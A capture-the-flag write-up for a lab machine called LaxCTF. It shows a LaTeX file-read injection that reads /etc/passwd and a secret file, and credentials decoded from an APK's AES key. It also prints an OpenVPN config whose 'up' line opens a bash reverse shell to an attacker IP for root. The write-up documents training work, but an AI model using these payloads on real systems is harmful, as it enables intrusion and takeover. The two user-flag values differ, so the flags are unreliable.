

LaxCTF



Spunkit

LaxCTF
Try Harder!

-----User-Flag-----

--ran nmap scan and found open ports 22 and 80
--ran gobuster scan on port 80 and found directories
--port 80 is running a **texMaker** latex web application that takes an input and creates a pdf file from the output given
--was stuck for a while, did some googling and found the **exploit 8297** from **exploit-db** saying to input "\$\$ \input{/etc/passwd} \$\$"
--after going through the output of /etc/passwd we get the following:
king
Lax
=opt=secret

--we now insert **\input{/opt/secret}** and get what looks like a **AES 128-bit hash**
--note that hash for later and but we need more info, run gobuster with **directory-list-2.3-medium.txt**
--found hidden directory **/Google-Earth** containing an apk file, so I downloaded the file:



--ran **apktool d app-release.apk** and was given a folder containing the decoded files
--found the key and vi in **/LaxCTF/app-release/smali/com/example/a11x256/frida_test/my_activity.smali**
key = "sUp3rCr3tKEforL!"
vi = "sUp3rCr3tIVforL!"

--used an **online AES tool** to decrypt the hash now that we have all that we need, and we get a brainfuck cipher string
--decoded cipher string and we got a **reverse base64** string, using **Cyberchef**, we reverse it and get a base64 string
--now in cyberchef **recursively decode the base64** strings until you get legible data. I counted 15 times until you'll get the credentials:
king:tryh@ckm3w4sH3r3

--now we must log in to SSH and look for the flag. Run **ssh king@<IP-address>** with password **tryh@ckm3w4sH3r3**
--found flag in king user directory and ran **cat user.txt**
79d798fcdcf3829c7420892d8988d5a7

-----Root-Flag-----

--tried **sudo -l** unsuccessfully
--found files that are both empty files:
.sudo_as_admin_successful
tryhackme.ovpn

--found an article about getting a reverse shell from an ovpn file here <https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da>
--it says to enter the following into the ovpn file where tunnel IP is your tun0 interface IP:
remote 10.10.144.11
dev tun
script-security 2
up "/bin/bash -c '/bin/bash -i > /dev/tcp/10.2.27.69/4444 0<&1 2>&1&'"

--run a listener with **nc -lvp 4444** and when the **cronjob** runs you will instantly get a root shell
--after shell spawns run **cat root.txt** and get flag:
4dad5e736a26999c9d7773464013dd41

scans

-----nmap-scan-----

PORT STATE SERVICE VERSION

22/tcp open **ssh** **OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)**

| **ssh-hostkey:**

| 2048 d4:d6:a4:23:aa:3c:82:90:79:83:7c:7f:8b:7f:d7:a1 (RSA)

| 256 fe:8e:ba:9a:4c:79:51:40:ee:d2:9a:87:5e:d1:d5:6f (ECDSA)

| 256 71:40:0d:f6:2b:74:d6:eb:b6:53:f3:83:2e:c0:bb:67 (ED25519)

80/tcp open **http** **Apache httpd 2.4.18 ((Ubuntu))**

|_ **http-server-header:** Apache/2.4.18 (Ubuntu)

|_ **http-title:** TexMaker

Service Info: OS: **Linux**; CPE: cpe:/o:linux:linux_kernel

-----buster-scan-----

/.hta (Status: 403)

/.htpasswd (Status: 403)

/.htaccess (Status: 403)

/assets (Status: 301)

/index.php (Status: 200)

/javascript (Status: 301)

/pdf (Status: 301)

/server-status (Status: 403)

/templates (Status: 301)

/compile (Status: 301)

/Google-Earth (Status: 301)

hashes

AES/CBC/128

d2X+7fLZAq4as9qs7yGRdWANgbFVDaly2j2TjnKbeCq8bH3iR2XpyXBVjSCsrGLmTAhyffVoOgbhmVI5vDDMNvC6wJNfEZWa+MkF8H
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InL5d2PMaaYGJfwuiNO03EGFQXBxpG Ea66Wcv3BDC1ZgERZZ+3k6uDxpPTSSdCYWy8IWXVXSbkX7m0Q/PK0kCL/-
CnES68V73YMY7oISqKNQiTrdINfKic3x6xLY2NLUarnmKpu/1f6c6LNX9Plx+Vxl7zcojOE11HzQCWm/-
rPhMpi0U1G92tfFevALVjPxC HQ0Ueojjof0S3f+hDR575MXehPgbpGSq/-
cOGMOjPj8TCBYx5wq9BnFFay0kvl343PvLI0RYZmO137NFnWjebJlOigsb+RXY+Bk7CSQwO/DXzorVaf3pMZpnqMslpWqrid9/-
sXXDVKjtTy7GiR8gsMaP0pLmq1TjWb4g2bFNmgFF9jhSjfh+G4Z1T5T6PQgouo2djWEfluCP/-
X8dIDDDjJARW37Tym5P3ehvbqluL7RZTS1v9s8o5exCA9k2rn1OUcC6/1U0ZkwtjPlpo8HzRgsg5JNHtI4U7oPfrTA4dyjCZvwFPP6vqX7/
se51upweX6YjPeWVqR9KV2IIGRBX/-
UmjaWVf2AldHegnbaUvFhbPcLp+SA0+41t1DERJVsJ1dLwQObBCo3zeJ8TIsnZ3JjndDcUAlVEFjhtygGzp1rdnJXxqazRGUFR+SAuy5LY
akUXbyzjx6fLuCaLnF+i4SldrKBWrrvYR6z+NviZSq1ww1mWPSS42f9ZyC4EFnFibI0MNYaFbFtiLp9gGaL9aPtD0sy2bxXqDOyMH0gUel
Hs/ZtiCSEZqFMzGINNsQRUIPnADN22PRHbjciSMYXARbj2sOrkhc4DUKigDfVCSGCYupg9cGkE7etMa0R45SQ9gJPrNLZ18R/-
skkZ8QLPubdm08ueE7/-
AKtunkRH+H700dqBmmnwF51TUqKWzQBWNES8m1o3X2HSvKdGRtTh+cqQHq2d4ElkObSvwqsGdV56QsBLUR3mf4MAPqqjUjKJo
XRnRQYhsHRA8a4lyxZsdAfZ9ajxSGIPd93Jf+fVINHED1pE9DZNcnF/03FchsqKjY6VEs/-
VGgXdVg48Kdh8c+tu5kZuBsSRboHaBJM1Y4cQdxJEj/gxlvrN/-
DAgQGBGjajy8WishUIfR1diF5vzi2ddgUDHNXYs8scXi3C+zj2RTanmn2I5QQTNM8WXF4ujhfxymzP8N5DXbHZ+B5qYCHUnbUQclx6u
ZJLmilpU1yoTK9BHR3LUHIPPvlufjRinklUp9PQ/+CNIgKkmycCRZo1Po0pPh9wLKHwe07QkNOFAieF/xbgp2+V86Zmnu5kS9Cs/-
Itfa2T8bvZyXIWOKQzcE2/QuVpS2kLazIMwT71FP+urKuS/-
OuS76VM4eG3qOi2ouyCR+1yJMocBk0g6FbTT3L+kh5JNi2Et8ehVStKUNmGvErGNxYGxJ6zNPQvsLGPnnvEF3FdenNQXgmKanK/-
EgBLC38++ay5cytnnqVvvfTUa0Ovpd9uuBNSGtZw6duyxACNSw356jADEiQgnDzKGwvOv2Lp0nhhziOrZjPub/-
SfnwEExxaWEdRvE8YA+Lk0mdxgl3EvmVddSUXsZKvnx8j4lbFnplEOGBUs/kbNRxtKHRVzKO4Wk1OoQsJlYzaW/-
2Ot70CW9Kkalp6CD/U/AILga3nDSy6Nb8abbshVCT+kqn6upt/-
h4N3oBtTUurHiCK6JTY6kNFzhCEEzaFFB+ZmZrvOc1acl57pvGZCVQRDD/-
rlgFZj4sxHJCw84ipi3lCqvryDHGOwOfwYNpe6Lf6G15jwljUNF0kyl+x/DTDQrA6IndFCeGP+Y3F+/-
WpCv6AbnLb7pouKPqD+Aszz+782aMY2V4di/-
7j5CKBFOnLNaACDC8DyihbRastyKPXwKOFB3+KjESEA1LANXDbaFLmQgxJurFttLVbnkYD3PxnIsS8R63oF9wFCzqFK/-
ExRbTMNyWYfUdb1JVf0C8Jq+7AFcQ1GdPKJAK4I7xM6s0moQd0aAmB/-
IEr5kWjQdZAAHNiGo3i3Va3MFUwudqW2YwuSKP06fOEjEDcONnxWz+dFjJ58oc6rSRrf7WwCBCvYeJ17tjGJChYX01pWAYINFnZCBvL
jF5Is1IXv8o56euqvhGKJo3MtxgNqDirrfBlIbabDnWR9LlVm0x2A505DValaWVMrn3KnywnpOwQd+NfjUki8EjmbX3psan8bQpzahVf
RMC4BT46Ady8XRBgvwftPI7N2n2Q83jBwMGC+om99EaGJdhV5/-
oZOCsYgApFPVwyaM+uluJdTckJl38MZObWEXOF4wsxHwpYeNXlvfPnd/GNVri/eDoi/ucnQlp+6q1qj/-
NrbE+8dH8sSbjUha4uQGfr80kCZ7ThKP2IA40BrwGR5mZUYLqQrKXLOLhhLmM5vEqR41RMwLRBiV0cyoLq0o0I/-
2KZmVci+DUHybXXCu9fG0y+WN1P0jMqjYRz8IMC45OrdhD8KDFrPkDhChIdfBWB7NgX3zgXU+IpSwo9Ddlg7WVK0Nk58TO4KDhh8
Zt5hgiuqaHOcCmmVuUCr6NeeDex2kCnTlovjv+6NDD8qKrxpTt2jz3s2KtXB0gt+184SWsyeBzEbEgtax5w6q8OvxJFQ2WYmwVDDNr
hU6Pr2N8PuJYyMs7AaZXhMld2QzU5jmy9pZ3y93S6Ei7LK7GMIgSDOSuroXuoR7tmJH0T6/-
pc9SxjLyWOFgKZN4ZCip2j8f5h20X1Lw8p1H2hslzidKso3JXokBxpSVNCDZSf15qnlweycS+fRmxEpGXVXg46u2Nnh53nrs5w4re0IQx
Pv2t6VGr0Wtpjerk+eLiOkS2lCqA9qndlmd0E8AedKqS9uMOlgtl6CbDQWRZkizTeu8FB4/tznFHs/-
JWly+Tj0Jmld5p+XsgiiMOINN26QCqBipxOygAxBBhxDXElxhivAaHBIO2K53G//t5E6TV/CyZxERDheZYaZU15VHXn/-
DqiFVOGjZCBQZTPcV6D/JT7OUjE21Ins7SmzeYfp87rR/-
GdRgg2UPsXR9tE4wEF7d2PHDemOn62eKtvGOu0OEID67yLdCABVbGhQwEHMv6CCGLBV7+HprnPPxa0jieeqdnwRojvF0LjyTFYVqCNv
MuCnQpQvD1rQOPmzXWXTFG3paECzL8W4OuRsnslxQ7eUqpfeCYWn1mkzpw21hjUJSQP1z5fFwKZJWF7NAdLQLV2PEhDQpKuGxtBksM

[illegible]

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[Task 1] LaxCTF

No clues! Get the user and root flags.

#1

What is the user flag?

79d798fdcf3829c7420892d8988d5a7

#2

What is the root flag?

4dad5e736a26999c9d7773464013dd41